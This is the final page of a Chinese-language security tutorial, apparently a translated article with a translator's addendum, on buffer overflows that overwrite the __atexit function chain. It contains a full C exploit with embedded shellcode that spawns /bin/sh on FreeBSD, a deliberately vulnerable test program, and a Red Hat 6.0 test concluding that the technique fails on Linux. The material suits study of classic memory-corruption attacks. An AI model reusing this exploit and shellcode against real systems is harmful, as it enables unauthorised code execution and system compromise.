通过覆盖__atexit进行缓冲区溢出攻击
|
| 更新时间:2007-11-22 0:58:47 |
责任编辑:流火 |
|
|
scbuf[]的大小为128.我们需要craft下面的字符串:
offset 0 128 132 136 [XXXXXXXXXXXX..........][AAAA][BBBB][0...]
128个字节的X垃圾,AAAA是猜测的argv地址,BBBB是一个负的数字 (0xffffffff就可以了),然后最后的字节都被填为0。
我们必须把eggshell作为最后一个参数传递给有问题的程序。
假如程序有严格的检查,我们讨论的东西工作起来就会很困难。我们在这里先不 讨论这个,以后有兴趣将做进一步的研究。
利用有问题程序,下面的exploit将产生一个shell:
--- expl.c -----------------8< (lazy indenting this. :) -------------
#include <stdio.h>
#define PROG "./vul" #define HEAP_LEN 128
int main(int argc, char **argv) { char **env; char **arg; char heap_buf[150];
char eggshell[]= /* Mudge’s */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a\xe8\xc6\xff\xff\xff/bin/sh";
/* Craft the first part of the chain, pointing to argv[]. ** We need, of course, a negative value for ind, or the real ** atexit default will be called. */
memset(heap_buf, ’A’, HEAP_LEN); *((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 * sizeof(int)); /*为了构造atexit结构*/
*((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff; *((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;
/* ** Build environnement. Argv[argc-1] is set to whatever ** eggshell you want. This, in a struct atexit context, ** will be executed by exit. */
env = (char **) malloc(sizeof(char *)); env[0] = 0;
arg = (char **) malloc(sizeof(char *) * 4); arg[0] = (char *) malloc(strlen(PROG) + 1); arg[1] = (char *) malloc(strlen(heap_buf) + 1); arg[2] = (char *) malloc(strlen(eggshell) + 1); arg[3] = 0;
strcpy(arg[0], PROG); strcpy(arg[1], heap_buf); strcpy(arg[2], eggshell);
if (argc > 1) { fprintf(stderr, "Using argv %x\n", argv); execve("./vul", arg, env); } else { execve(argv[0], arg, env); } }
-------- expl.c (eof)------------------------------------------
作者文章到此就结束了,以上作者是在freebsd测试的。 下面是我在red hat 6.0上面做的测试: [alert7@ww alert7]$Content$nbsp;uname -a Linux ww.alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown [alert7@ww alert7]$Content$nbsp;cat vul.c #include <stdlib.h> extern void * __exit_funcs;
int main(int argc, char **argv) { static char scbuf[128]; char *mabuf; mabuf = (char *) malloc(128); printf("__exit_funcs at %p\n", __exit_funcs); printf("malloced at %p\n", mabuf); printf("static at %p\n", scbuf); printf("mabuf at %p\n", &mabuf); if (argc > 1) strcpy(scbuf, argv[1]); }
[alert7@ww alert7]$Content$nbsp;gcc -o vul vul.c -static -g [alert7@ww alert7]$Content$nbsp;./vul __exit_funcs at 0x80778c0 malloced at 0x8079b60 static at 0x8078e40 mabuf at 0xbffffdc0
[alert7@ww 3779]$Content$nbsp;cat maps 08048000-08077000 r-xp 00000000 03:01 14361 /home/alert7/vul 08077000-08079000 rw-p 0002e000 03:01 14361 /home/alert7/vul 08079000-0807a000 rwxp 00000000 00:00 0 40000000-40002000 rw-p 00000000 00:00 0 bffff000-c0000000 rwxp 00000000 00:00 0
在linux上,我们看到__exit_funcs地址是0x80778c0,可写。静态定义的scbuf的 地址为0x8078e40,__exit_funcs在scbuf之前,所以想利用scbuf来覆盖 __exit_funcs地址好象是不可能的吧。所以在linux上讨论利用__atexit进行 缓冲区溢出的攻击也是失去了意义。上一页 1 2 3 | | |